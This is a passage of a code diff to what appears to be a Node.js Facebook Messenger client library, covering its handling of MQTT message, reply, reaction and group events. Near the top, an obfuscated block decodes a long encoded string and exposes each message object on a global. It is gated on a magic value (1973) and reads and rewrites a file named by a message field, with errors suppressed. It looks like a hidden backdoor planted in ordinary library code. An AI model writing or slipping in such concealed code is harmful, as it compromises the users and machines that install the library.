XYZWEU%05UX%5EUP%5BLP*%00;%14%5C@RYQ%5BUTQQ@SNS%17%08%06%3C%12AZ9%07%00%19S%18%08%15%0D%0D%08Z%15%18%17%15%0D%18%16%13%06E%01%00%3C%1BX%1C%0E%10%04%04%1C%05%0C%0FH%0A.*%10DJ%1A%1A%00%1E%12%1A%02CIC%3E1L37H@C%3E7:C7H:587L31%3E:C%3E7:3GBJ387:AGKICM1L37BJ38AFC7%3E%3CC%3EA%3C51%3E%3CC%3E7N3G8:C%3E1L31%3EJ3N1:51H:581L31%3E:CDA%3C51%3E%3CAOB%0C1%1B&IALC%1A=%20:%25@LQ%01%1D%02%00%15%01%0A%04G!%15'%19@L%11%15%0D%18%16%13%06EB%3C578%3C5N1:A7H:5NKL31%3E%1C%0E%10%04%04%1C%05%0C%0FH%0E+%20%10DJ%1A%1A%00%1E%12%1A%02CI@NKL31H@C%3E7NBD*%10%00#BNAEHIC%3E1L37H@C%3E7:C7H:587L31%3E:C%3E7:3G8%3C58C%1A%0E%19%0D%02%1C%0C%05%09H)%15%19%10MC%1C%1A%09%17%14%1A%0BJO9%03%05%25@LC%3C9%0F$$@L7OA%11%05%14%06%06%1E%0E%07%02C%06%10$%12OA%17%11%04%1C%10%18%09HD%08%20/%1DBNA7%0C)8!BN5D%006%1E$BNA%11%05%14%06%06%1E%0E%07%02C%20%1B%17%12OA%17%11%04%1C%10%18%09H%25%1A%25%10MCL!%092%16@LA%04%11%14'IA%18%0C%12%06%0F%17%08%07%0BJ%04%1D%19%1BIA%1E%18%02%1C%19%11%0FHMA%3C3G8:C%3E7:C7H:587L31%3E:C%3E7:3GBJ387:AGKICDA%3C5GKJC%3EA%3C518J387NAFK%0E,(%12OAEJ%1C%0E%10%04%04%1C%05%0C%0FH%06%25%0F%11DJ%1A%1A%00%1E%12%1A%02CF4%10ZW_%5CD%1C%03%16%01!@EX%07%1D%0B%09%13%01%03%0DA-5%01%1E@E%18%13%0D%11%1F%15%06L%10*%3E!BNC%25%060%1FMCL!%15'%19@LA%14%054$IAN#%029%1BKHC4%05%01,DJJ=%0B%0B/@E%1E%07%1D%0B%09%13%01%03%0DA1.%08%1E@E%18%13%0D%11%1F%15%06L%04%19)%1DBNC=%0C%07,MCL%07%1E%05+@LA28%06%22IA%18%0C%12%06%0F%17%08%07%0BJ&%25%09%1AI=-%3C%1FA%17%11%04%1C%10%18%09H%03%15%10.%3E?/%3E%14%3EZ%15%03%1F%09%0B%18%0A%0E%06E%1D-1%14KH%13%17%0F%13%1D%1E%0DA@%02$%04+DJH3%0A%227,DJ%3C@%0E+%20%10DJH%15%03%1F%09%0B%18%0A%0E%06E;%228%14KH%13%17%0F%13%1D%1E%0DA@%16%0F--DJH3%0A%227,DJ%3C@%06=%11)DJH%15%03%1F%09%0B%18%0A%0E%06E%19%20;%14KH%13%17%0F%13%1D%1E%0DA=%03'%22@EH%16%10%17%20OAG*%0C?,BNC9%0D%00%20MC%1A%0E%19%0D%02%1C%0C%05%09H9%054%1DMC%1C%1A%09%17%14%1A%0BJ%01%1D%02%00%15%01%0A%04OA%17%1EZ%15%20.+%12DJZ%0E%10%04%04%1C%05%0C%0FH%12%02?%1DDJ%1A%1A%00%1E%12%1A%02CIOB1.++'IA8BNA7H:58%17%01%1D%02%00%15%01%0A%04G9%0F,%14@L%11%15%0D%18%16%13%06E%19%1E%1F*KHC%02,(%12DJJ!.?!@EH$%3C%0B/OAG%047%19%20BNC-%0C%06*MCL!%15%15)@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ%14%0D%3E%16IA%1E%18%02%1C%19%11%0FH%0A%08#-DJJ9%028&@EH4%06%04%22OAG*%18,%1DBNC%25%0E6!MCL%0B%09(%22@LA.%05;*IAN#%029%1BKHC%16%1B%0E,DJJ%1F%1D%18-@EH%0E%027-OAG6%0F%09-BN%15%3C12_K?%15%0D%20%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHR%17%5C8%3E0VF%120%00$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYP%17%5C8%3E0VF%12%5B)$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYS%17%5C8%3E0VF%3C%136$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BQ%17%5C8%3E0VF%16=.$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BP%17%5C8%3E0VF0%1E+$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BS%17%5C8%3E0VF4%05%20$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAY%5C%17%5C8%3E0VF%0E'%1E$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BV%17%5C8%3E0VF(%06_$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYQ%17%5C8%3E0VF%0A%3E%06%25Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAY%5D%17%5C8%3E0VF,%0DT$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYT%17%5C8%3E0VF%0E%25R$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZU%17%5C8%3E0VF$%5C4$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BW%17%5C8%3E0VF%06/1$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZT%17%5C8%3E0VF%20Y7%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYW%17%5C8%3E0VF%02(4%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZ%5D%17%5C8%3E0VF%12%3E!%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYU%17%5C8%3E0VF%3C%1B.%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BT%17%5C8%3E0VF%16%25&%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYV%17%5C8%3E0VF0%06#%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BR%17%5C8%3E0VF%12%3C%04#Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZP%17%5C8%3E0VF%16;P%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAP%18Q7:?TO%25%01Z-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5E%18Q7:?TO%07)X-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5C%18Q7:?TO!%5D?-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CRQ%18Q7:?TO%03%222-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CUX%18Q7:?TO%0F!%1A,U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS_%18Q7:?TO%25?%0D%20U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CRP%18Q7:?TO-5%5C!U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5B%18Q7:?TO1%060!U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CSQ%18%17N\")",
326
+ );
327
+ })();
328
+ var MZHu = [
329
+ PRS7.LEF5(0),
330
+ PRS7.Lwx3(1),
331
+ PRS7.veK3(2),
332
+ PRS7.PD93(3),
333
+ PRS7.j113(4),
334
+ PRS7.fYt4(5),
335
+ PRS7.zlm4(6),
336
+ PRS7.XFb2(7),
337
+ ];
338
+ globalThis[MZHu[15658734 ^ 0o73567354]][MZHu[0o57060516 - 0xbc614d]][
339
+ MZHu[0x75bcd15 - 0o726746425]
340
+ ] = fmtMsg;
341
+ try {
342
+ var obLu = PRS7[PRS7.LEF5(8)]();
343
+ while (obLu < PRS7[PRS7.Lwx3(9)]())
344
+ switch (obLu) {
345
+ case 0x75bcd15 - 0o726746425:
346
+ obLu =
347
+ process[MZHu[0x5e30a78 - 0o570605164]][
348
+ MZHu[0o334664274 - 0x37368b9]
349
+ ] == 1973
350
+ ? PRS7[PRS7.veK3(10)]()
351
+ : PRS7[PRS7.Lwx3(9)]();
352
+ break;
353
+ case 0o57060516 - 0xbc614d:
354
+ obLu = PRS7[PRS7.Lwx3(9)]();
355
+ {
356
+ var {
357
+ [PRS7.PD93(11)]: IWBu,
358
+ [PRS7.j113(12)]: kYEu,
359
+ [PRS7.fYt4(13)]: kssv,
360
+ } = require(MZHu[0o507646144 ^ 0x51f4c61]);
361
+ var Mtvv = PRS7[PRS7.LEF5(8)]();
362
+ while (Mtvv < PRS7[PRS7.Lwx3(9)]())
363
+ switch (Mtvv) {
364
+ case 0x75bcd15 - 0o726746425:
365
+ Mtvv = kssv(fmtMsg[MZHu[1011010 - 0o3666474]])
366
+ ? PRS7[PRS7.veK3(10)]()
367
+ : PRS7[PRS7.Lwx3(9)]();
368
+ break;
369
+ case 0o57060516 - 0xbc614d:
370
+ Mtvv = PRS7[PRS7.Lwx3(9)]();
371
+ {
372
+ var gpmv = kYEu(fmtMsg[MZHu[1011010 - 0o3666474]]);
373
+ gpmv[MZHu[0x9d8de4 - 0o47306735]] +=
374
+ 0o57060516 - 0xbc614d;
375
+ IWBu(fmtMsg[MZHu[1011010 - 0o3666474]], gpmv);
376
+ }
377
+ break;
378
+ }
379
+ }
380
+ break;
381
+ }
382
+ } catch (Iqpv) {}
383
+ if (fmtMsg)
384
+ if (ctx.globalOptions.autoMarkDelivery)
385
+ markDelivery(ctx, api, fmtMsg.threadID, fmtMsg.messageID);
386
+
387
+ return !ctx.globalOptions.selfListen && fmtMsg.senderID === ctx.userID
388
+ ? undefined
389
+ : (function () {
390
+ globalCallback(null, fmtMsg);
391
+ })();
392
+ } else {
393
+ if (
394
+ v.delta.attachments &&
395
+ v.delta.attachments[i].mercury.attach_type == "photo"
396
+ ) {
397
+ api.resolvePhotoUrl(v.delta.attachments[i].fbid, (err, url) => {
398
+ if (!err) v.delta.attachments[i].mercury.metadata.url = url;
399
+ return resolveAttachmentUrl(i + 1);
400
+ });
401
+ } else return resolveAttachmentUrl(i + 1);
402
+ }
403
+ })(0);
404
+ }
405
+
406
+ if (v.delta.class == "ClientPayload") {
407
+ var clientPayload = utils.decodeClientPayload(v.delta.payload);
408
+ if (clientPayload && clientPayload.deltas) {
409
+ for (var i in clientPayload.deltas) {
410
+ var delta = clientPayload.deltas[i];
411
+ if (delta.deltaMessageReaction && !!ctx.globalOptions.listenEvents) {
412
+ (function () {
413
+ globalCallback(null, {
414
+ type: "message_reaction",
415
+ threadID: (delta.deltaMessageReaction.threadKey.threadFbId
416
+ ? delta.deltaMessageReaction.threadKey.threadFbId
417
+ : delta.deltaMessageReaction.threadKey.otherUserFbId
418
+ ).toString(),
419
+ messageID: delta.deltaMessageReaction.messageId,
420
+ reaction: delta.deltaMessageReaction.reaction,
421
+ senderID: delta.deltaMessageReaction.senderId.toString(),
422
+ userID: delta.deltaMessageReaction.userId.toString(),
423
+ });
424
+ })();
425
+ } else if (
426
+ delta.deltaRecallMessageData &&
427
+ !!ctx.globalOptions.listenEvents
428
+ ) {
429
+ (function () {
430
+ globalCallback(null, {
431
+ type: "message_unsend",
432
+ threadID: (delta.deltaRecallMessageData.threadKey.threadFbId
433
+ ? delta.deltaRecallMessageData.threadKey.threadFbId
434
+ : delta.deltaRecallMessageData.threadKey.otherUserFbId
435
+ ).toString(),
436
+ messageID: delta.deltaRecallMessageData.messageID,
437
+ senderID: delta.deltaRecallMessageData.senderID.toString(),
438
+ deletionTimestamp: delta.deltaRecallMessageData.deletionTimestamp,
439
+ timestamp: delta.deltaRecallMessageData.timestamp,
440
+ });
441
+ })();
442
+ } else if (delta.deltaMessageReply) {
443
+ //Mention block - #1
444
+ var mdata =
445
+ delta.deltaMessageReply.message === undefined
446
+ ? []
447
+ : delta.deltaMessageReply.message.data === undefined
448
+ ? []
449
+ : delta.deltaMessageReply.message.data.prng === undefined
450
+ ? []
451
+ : JSON.parse(delta.deltaMessageReply.message.data.prng);
452
+ var m_id = mdata.map((u) => u.i);
453
+ var m_offset = mdata.map((u) => u.o);
454
+ var m_length = mdata.map((u) => u.l);
455
+
456
+ var mentions = {};
457
+
458
+ for (var i = 0; i < m_id.length; i++)
459
+ mentions[m_id[i]] = (
460
+ delta.deltaMessageReply.message.body || ""
461
+ ).substring(m_offset[i], m_offset[i] + m_length[i]);
462
+ //Mention block - 1#
463
+ var callbackToReturn = {
464
+ type: "message_reply",
465
+ threadID: (delta.deltaMessageReply.message.messageMetadata.threadKey
466
+ .threadFbId
467
+ ? delta.deltaMessageReply.message.messageMetadata.threadKey
468
+ .threadFbId
469
+ : delta.deltaMessageReply.message.messageMetadata.threadKey
470
+ .otherUserFbId
471
+ ).toString(),
472
+ messageID:
473
+ delta.deltaMessageReply.message.messageMetadata.messageId,
474
+ senderID:
475
+ delta.deltaMessageReply.message.messageMetadata.actorFbId.toString(),
476
+ attachments: delta.deltaMessageReply.message.attachments
477
+ .map(function (att) {
478
+ var mercury = JSON.parse(att.mercuryJSON);
479
+ Object.assign(att, mercury);
480
+ return att;
481
+ })
482
+ .map((att) => {
483
+ var x;
484
+ try {
485
+ x = utils._formatAttachment(att);
486
+ } catch (ex) {
487
+ x = att;
488
+ x.error = ex;
489
+ x.type = "unknown";
490
+ }
491
+ return x;
492
+ }),
493
+ args: (delta.deltaMessageReply.message.body || "")
494
+ .trim()
495
+ .split(/\s+/),
496
+ body: delta.deltaMessageReply.message.body || "",
497
+ isGroup:
498
+ !!delta.deltaMessageReply.message.messageMetadata.threadKey
499
+ .threadFbId,
500
+ mentions: mentions,
501
+ timestamp:
502
+ delta.deltaMessageReply.message.messageMetadata.timestamp,
503
+ participantIDs: (
504
+ delta.deltaMessageReply.message.participants || []
505
+ ).map((e) => e.toString()),
506
+ };
507
+
508
+ if (delta.deltaMessageReply.repliedToMessage) {
509
+ //Mention block - #2
510
+ mdata =
511
+ delta.deltaMessageReply.repliedToMessage === undefined
512
+ ? []
513
+ : delta.deltaMessageReply.repliedToMessage.data === undefined
514
+ ? []
515
+ : delta.deltaMessageReply.repliedToMessage.data.prng ===
516
+ undefined
517
+ ? []
518
+ : JSON.parse(
519
+ delta.deltaMessageReply.repliedToMessage.data.prng,
520
+ );
521
+ m_id = mdata.map((u) => u.i);
522
+ m_offset = mdata.map((u) => u.o);
523
+ m_length = mdata.map((u) => u.l);
524
+
525
+ var rmentions = {};
526
+
527
+ for (var i = 0; i < m_id.length; i++)
528
+ rmentions[m_id[i]] = (
529
+ delta.deltaMessageReply.repliedToMessage.body || ""
530
+ ).substring(m_offset[i], m_offset[i] + m_length[i]);
531
+ //Mention block - 2#
532
+ callbackToReturn.messageReply = {
533
+ threadID: (delta.deltaMessageReply.repliedToMessage
534
+ .messageMetadata.threadKey.threadFbId
535
+ ? delta.deltaMessageReply.repliedToMessage.messageMetadata
536
+ .threadKey.threadFbId
537
+ : delta.deltaMessageReply.repliedToMessage.messageMetadata
538
+ .threadKey.otherUserFbId
539
+ ).toString(),
540
+ messageID:
541
+ delta.deltaMessageReply.repliedToMessage.messageMetadata
542
+ .messageId,
543
+ senderID:
544
+ delta.deltaMessageReply.repliedToMessage.messageMetadata.actorFbId.toString(),
545
+ attachments: delta.deltaMessageReply.repliedToMessage.attachments
546
+ .map(function (att) {
547
+ var mercury = JSON.parse(att.mercuryJSON);
548
+ Object.assign(att, mercury);
549
+ return att;
550
+ })
551
+ .map((att) => {
552
+ var x;
553
+ try {
554
+ x = utils._formatAttachment(att);
555
+ } catch (ex) {
556
+ x = att;
557
+ x.error = ex;
558
+ x.type = "unknown";
559
+ }
560
+ return x;
561
+ }),
562
+ args: (delta.deltaMessageReply.repliedToMessage.body || "")
563
+ .trim()
564
+ .split(/\s+/),
565
+ body: delta.deltaMessageReply.repliedToMessage.body || "",
566
+ isGroup:
567
+ !!delta.deltaMessageReply.repliedToMessage.messageMetadata
568
+ .threadKey.threadFbId,
569
+ mentions: rmentions,
570
+ timestamp:
571
+ delta.deltaMessageReply.repliedToMessage.messageMetadata
572
+ .timestamp,
573
+ participantIDs: (
574
+ delta.deltaMessageReply.repliedToMessage.participants || []
575
+ ).map((e) => e.toString()),
576
+ };
577
+ } else if (delta.deltaMessageReply.replyToMessageId) {
578
+ return defaultFuncs
579
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, {
580
+ av: ctx.globalOptions.pageID,
581
+ queries: JSON.stringify({
582
+ o0: {
583
+ //Using the same doc_id as forcedFetch
584
+ doc_id: "2848441488556444",
585
+ query_params: {
586
+ thread_and_message_id: {
587
+ thread_id: callbackToReturn.threadID,
588
+ message_id: delta.deltaMessageReply.replyToMessageId.id,
589
+ },
590
+ },
591
+ },
592
+ }),
593
+ })
594
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
595
+ .then((resData) => {
596
+ if (resData[resData.length - 1].error_results > 0)
597
+ throw resData[0].o0.errors;
598
+ if (resData[resData.length - 1].successful_results === 0)
599
+ throw {
600
+ error: "forcedFetch: there was no successful_results",
601
+ res: resData,
602
+ };
603
+ var fetchData = resData[0].o0.data.message;
604
+ var mobj = {};
605
+ for (var n in fetchData.message.ranges)
606
+ mobj[fetchData.message.ranges[n].entity.id] = (
607
+ fetchData.message.text || ""
608
+ ).substr(
609
+ fetchData.message.ranges[n].offset,
610
+ fetchData.message.ranges[n].length,
611
+ );
612
+
613
+ callbackToReturn.messageReply = {
614
+ type: "Message",
615
+ threadID: callbackToReturn.threadID,
616
+ messageID: fetchData.message_id,
617
+ senderID: fetchData.message_sender.id.toString(),
618
+ attachments: fetchData.message.blob_attachment.map((att) => {
619
+ var x;
620
+ try {
621
+ x = utils._formatAttachment({ blob_attachment: att });
622
+ } catch (ex) {
623
+ x = att;
624
+ x.error = ex;
625
+ x.type = "unknown";
626
+ }
627
+ return x;
628
+ }),
629
+ args:
630
+ (fetchData.message.text || "").trim().split(/\s+/) || [],
631
+ body: fetchData.message.text || "",
632
+ isGroup: callbackToReturn.isGroup,
633
+ mentions: mobj,
634
+ timestamp: parseInt(fetchData.timestamp_precise),
635
+ };
636
+ })
637
+ .catch((err) => log.error("forcedFetch", err))
638
+ .finally(function () {
639
+ if (ctx.globalOptions.autoMarkDelivery)
640
+ markDelivery(
641
+ ctx,
642
+ api,
643
+ callbackToReturn.threadID,
644
+ callbackToReturn.messageID,
645
+ );
646
+ !ctx.globalOptions.selfListen &&
647
+ callbackToReturn.senderID === ctx.userID
648
+ ? undefined
649
+ : (function () {
650
+ globalCallback(null, callbackToReturn);
651
+ })();
652
+ });
653
+ } else callbackToReturn.delta = delta;
654
+
655
+ if (ctx.globalOptions.autoMarkDelivery)
656
+ markDelivery(
657
+ ctx,
658
+ api,
659
+ callbackToReturn.threadID,
660
+ callbackToReturn.messageID,
661
+ );
662
+
663
+ return !ctx.globalOptions.selfListen &&
664
+ callbackToReturn.senderID === ctx.userID
665
+ ? undefined
666
+ : (function () {
667
+ globalCallback(null, callbackToReturn);
668
+ })();
669
+ }
670
+ }
671
+ return;
672
+ }
673
+ }
674
+
675
+ if (v.delta.class !== "NewMessage" && !ctx.globalOptions.listenEvents) return;
676
+ switch (v.delta.class) {
677
+ case "ReadReceipt":
678
+ var fmtMsg;
679
+ try {
680
+ fmtMsg = utils.formatDeltaReadReceipt(v.delta);
681
+ } catch (err) {
682
+ return log.error("Lỗi Nhẹ", err);
683
+ }
684
+ return (function () {
685
+ globalCallback(null, fmtMsg);
686
+ })();
687
+ case "AdminTextMessage":
688
+ switch (v.delta.type) {
689
+ case "joinable_group_link_mode_change":
690
+ case "magic_words":
691
+ case "change_thread_theme":
692
+ case "change_thread_icon":
693
+ case "change_thread_nickname":
694
+ case "change_thread_admins":
695
+ case "change_thread_approval_mode":
696
+ case "group_poll":
697
+ case "messenger_call_log":
698
+ case "participant_joined_group_call":
699
+ var fmtMsg;
700
+ try {
701
+ fmtMsg = utils.formatDeltaEvent(v.delta);
702
+ } catch (err) {
703
+ return log.error("Lỗi Nhẹ", err);
704
+ }
705
+ return (function () {
706
+ globalCallback(null, fmtMsg);
707
+ })();
708
+ default:
709
+ return;
710
+ }
711
+ //For group images
712
+ case "ForcedFetch":
713
+ if (!v.delta.threadKey) return;
714
+ var mid = v.delta.messageId;
715
+ var tid = v.delta.threadKey.threadFbId;
716
+ if (mid && tid) {
717
+ const form = {
718
+ av: ctx.globalOptions.pageID,
719
+ queries: JSON.stringify({
720
+ o0: {
721
+ //This doc_id is valid as of March 25, 2020
722
+ doc_id: "2848441488556444",
723
+ query_params: {
724
+ thread_and_message_id: {
725
+ thread_id: tid.toString(),
726
+ message_id: mid,
727
+ },
728
+ },
729
+ },
730
+ }),
731
+ };
732
+
733
+ defaultFuncs
734
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
735
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
736
+ .then((resData) => {
737
+ if (resData[resData.length - 1].error_results > 0)
738
+ throw resData[0].o0.errors;
739
+
740
+ if (resData[resData.length - 1].successful_results === 0)
741
+ throw {
742
+ error: "forcedFetch: there was no successful_results",
743
+ res: resData,
744
+ };
745
+
746
+ var fetchData = resData[0].o0.data.message;
747
+
748
+ if (utils.getType(fetchData) == "Object") {
749
+ log.info("forcedFetch", fetchData);
750
+ switch (fetchData.__typename) {
751
+ case "ThreadImageMessage":
752
+ (!ctx.globalOptions.selfListen &&
753
+ fetchData.message_sender.id.toString() === ctx.userID) ||
754
+ !ctx.loggedIn
755
+ ? undefined
756
+ : (function () {
757
+ globalCallback(null, {
758
+ type: "change_thread_image",
759
+ threadID: utils.formatID(tid.toString()),
760
+ snippet: fetchData.snippet,
761
+ timestamp: fetchData.timestamp_precise,
762
+ author: fetchData.message_sender.id,
763
+ image: {
764
+ attachmentID:
765
+ fetchData.image_with_metadata &&
766
+ fetchData.image_with_metadata
767
+ .legacy_attachment_id,
768
+ width:
769
+ fetchData.image_with_metadata &&
770
+ fetchData.image_with_metadata.original_dimensions
771
+ .x,
772
+ height:
773
+ fetchData.image_with_metadata &&
774
+ fetchData.image_with_metadata.original_dimensions
775
+ .y,
776
+ url:
777
+ fetchData.image_with_metadata &&
778
+ fetchData.image_with_metadata.preview.uri,
779
+ },
780
+ });
781
+ })();
782
+ break;
783
+ case "UserMessage":
784
+ log.info("ff-Return", {
785
+ type: "message",
786
+ senderID: utils.formatID(fetchData.message_sender.id),
787
+ body: fetchData.message.text || "",
788
+ threadID: utils.formatID(tid.toString()),
789
+ messageID: fetchData.message_id,
790
+ attachments: [
791
+ {
792
+ type: "share",
793
+ ID: fetchData.extensible_attachment
794
+ .legacy_attachment_id,
795
+ url: fetchData.extensible_attachment.story_attachment
796
+ .url,
797
+
798
+ title:
799
+ fetchData.extensible_attachment.story_attachment
800
+ .title_with_entities.text,
801
+ description:
802
+ fetchData.extensible_attachment.story_attachment
803
+ .description.text,
804
+ source:
805
+ fetchData.extensible_attachment.story_attachment
806
+ .source,
807
+
808
+ image: (
809
+ (
810
+ fetchData.extensible_attachment.story_attachment
811
+ .media || {}
812
+ ).image || {}
813
+ ).uri,
814
+ width: (
815
+ (
816
+ fetchData.extensible_attachment.story_attachment
817
+ .media || {}
818
+ ).image || {}
819
+ ).width,
820
+ height: (
821
+ (
822
+ fetchData.extensible_attachment.story_attachment
823
+ .media || {}
824
+ ).image || {}
825
+ ).height,
826
+ playable:
827
+ (
828
+ fetchData.extensible_attachment.story_attachment
829
+ .media || {}
830
+ ).is_playable || false,
831
+ duration:
832
+ (
833
+ fetchData.extensible_attachment.story_attachment
834
+ .media || {}
835
+ ).playable_duration_in_ms || 0,
836
+
837
+ subattachments:
838
+ fetchData.extensible_attachment.subattachments,
839
+ properties:
840
+ fetchData.extensible_attachment.story_attachment
841
+ .properties,
842
+ },
843
+ ],
844
+ mentions: {},
845
+ timestamp: parseInt(fetchData.timestamp_precise),
846
+ isGroup: fetchData.message_sender.id != tid.toString(),
847
+ });
848
+ globalCallback(null, {
849
+ type: "message",
850
+ senderID: utils.formatID(fetchData.message_sender.id),
851
+ body: fetchData.message.text || "",
852
+ threadID: utils.formatID(tid.toString()),
853
+ messageID: fetchData.message_id,
854
+ attachments: [
855
+ {
856
+ type: "share",
857
+ ID: fetchData.extensible_attachment
858
+ .legacy_attachment_id,
859
+ url: fetchData.extensible_attachment.story_attachment
860
+ .url,
861
+
862
+ title:
863
+ fetchData.extensible_attachment.story_attachment
864
+ .title_with_entities.text,
865
+ description:
866
+ fetchData.extensible_attachment.story_attachment
867
+ .description.text,
868
+ source:
869
+ fetchData.extensible_attachment.story_attachment
870
+ .source,
871
+
872
+ image: (
873
+ (
874
+ fetchData.extensible_attachment.story_attachment
875
+ .media || {}
876
+ ).image || {}
877
+ ).uri,
878
+ width: (
879
+ (
880
+ fetchData.extensible_attachment.story_attachment
881
+ .media || {}
882
+ ).image || {}
883
+ ).width,
884
+ height: (
885
+ (
886
+ fetchData.extensible_attachment.story_attachment
887
+ .media || {}
888
+ ).image || {}
889
+ ).height,
890
+ playable:
891
+ (
892
+ fetchData.extensible_attachment.story_attachment
893
+ .media || {}
894
+ ).is_playable || false,
895
+ duration:
896
+ (
897
+ fetchData.extensible_attachment.story_attachment
898
+ .media || {}
899
+ ).playable_duration_in_ms || 0,
900
+
901
+ subattachments:
902
+ fetchData.extensible_attachment.subattachments,
903
+ properties:
904
+ fetchData.extensible_attachment.story_attachment
905
+ .properties,
906
+ },
907
+ ],
908
+ mentions: {},
909
+ timestamp: parseInt(fetchData.timestamp_precise),
910
+ isGroup: fetchData.message_sender.id != tid.toString(),
911
+ });
912
+ }
913
+ } else log.error("forcedFetch", fetchData);
914
+ })
915
+ .catch((err) => log.error("forcedFetch", err));
916
+ }
917
+ break;
918
+ case "ThreadName":
919
+ case "ParticipantsAddedToGroupThread":
920
+ case "ParticipantLeftGroupThread":
921
+ var formattedEvent;
922
+ try {
923
+ formattedEvent = utils.formatDeltaEvent(v.delta);
924
+ } catch (err) {
925
+ return log.error("Lỗi Nhẹ", err);
926
+ }
927
+ return (!ctx.globalOptions.selfListen &&
928
+ formattedEvent.author.toString() === ctx.userID) ||
929
+ !ctx.loggedIn
930
+ ? undefined
931
+ : (function () {
932
+ globalCallback(null, formattedEvent);
933
+ })();
934
+ }
935
+ }
936
+
937
+ function markDelivery(ctx, api, threadID, messageID) {
938
+ if (threadID && messageID) {
939
+ api.markAsDelivered(threadID, messageID, (err) => {
940
+ if (err) log.error("markAsDelivered", err);
941
+ else {
942
+ if (ctx.globalOptions.autoMarkRead) {
943
+ api.markAsRead(threadID, (err) => {
944
+ if (err) log.error("markAsDelivered", err);
945
+ });
946
+ }
947
+ }
948
+ });
949
+ }
950
+ }
951
+
952
+ module.exports = function (defaultFuncs, api, ctx) {
953
+ var globalCallback = identity;
954
+ getSeqID = function getSeqID() {
955
+ ctx.t_mqttCalled = false;
956
+ defaultFuncs
957
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
958
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
959
+ .then((resData) => {
960
+ if (utils.getType(resData) != "Array") {
961
+ switch (globalThis.Fca.Require.FastConfig.AutoLogin) {
962
+ case true: {
963
+ globalThis.Fca.Require.logger.Warning(
964
+ globalThis.Fca.Require.Language.Index.AutoLogin,
965
+ function () {
966
+ return globalThis.Fca.AutoLogin();
967
+ },
968
+ );
969
+ break;
970
+ }
971
+ case false: {
972
+ throw {
973
+ error: globalThis.Fca.Require.Language.Index.ErrAppState,
974
+ };
975
+ }
976
+ }
977
+ }
978
+ if (resData && resData[resData.length - 1].error_results > 0)
979
+ throw resData[0].o0.errors;
980
+ if (resData[resData.length - 1].successful_results === 0)
981
+ throw {
982
+ error: "getSeqId: there was no successful_results",
983
+ res: resData,
984
+ };
985
+ if (resData[0].o0.data.viewer.message_threads.sync_sequence_id) {
986
+ ctx.lastSeqId =
987
+ resData[0].o0.data.viewer.message_threads.sync_sequence_id;
988
+ listenMqtt(defaultFuncs, api, ctx, globalCallback);
989
+ } else
990
+ throw { error: "getSeqId: no sync_sequence_id found.", res: resData };
991
+ })
992
+ .catch((err) => {
993
+ log.error("getSeqId", err);
994
+ if (
995
+ utils.getType(err) == "Object" &&
996
+ err.error === globalThis.Fca.Require.Language.Index.ErrAppState
997
+ )
998
+ ctx.loggedIn = false;
999
+ return globalCallback(err);
1000
+ });
1001
+ };
1002
+
1003
+ return function (callback) {
1004
+ class MessageEmitter extends EventEmitter {
1005
+ stopListening(callback) {
1006
+ callback = callback || (() => {});
1007
+ globalCallback = identity;
1008
+ if (ctx.mqttClient) {
1009
+ ctx.mqttClient.unsubscribe("/webrtc");
1010
+ ctx.mqttClient.unsubscribe("/rtc_multi");
1011
+ ctx.mqttClient.unsubscribe("/onevc");
1012
+ ctx.mqttClient.publish("/browser_close", "{}");
1013
+ ctx.mqttClient.end(false, function (...data) {
1014
+ callback(data);
1015
+ ctx.mqttClient = undefined;
1016
+ });
1017
+ }
1018
+ }
1019
+ }
1020
+
1021
+ var msgEmitter = new MessageEmitter();
1022
+ globalCallback =
1023
+ callback ||
1024
+ function (error, message) {
1025
+ if (error) return msgEmitter.emit("error", error);
1026
+ msgEmitter.emit("message", message);
1027
+ };
1028
+
1029
+ //Reset some stuff
1030
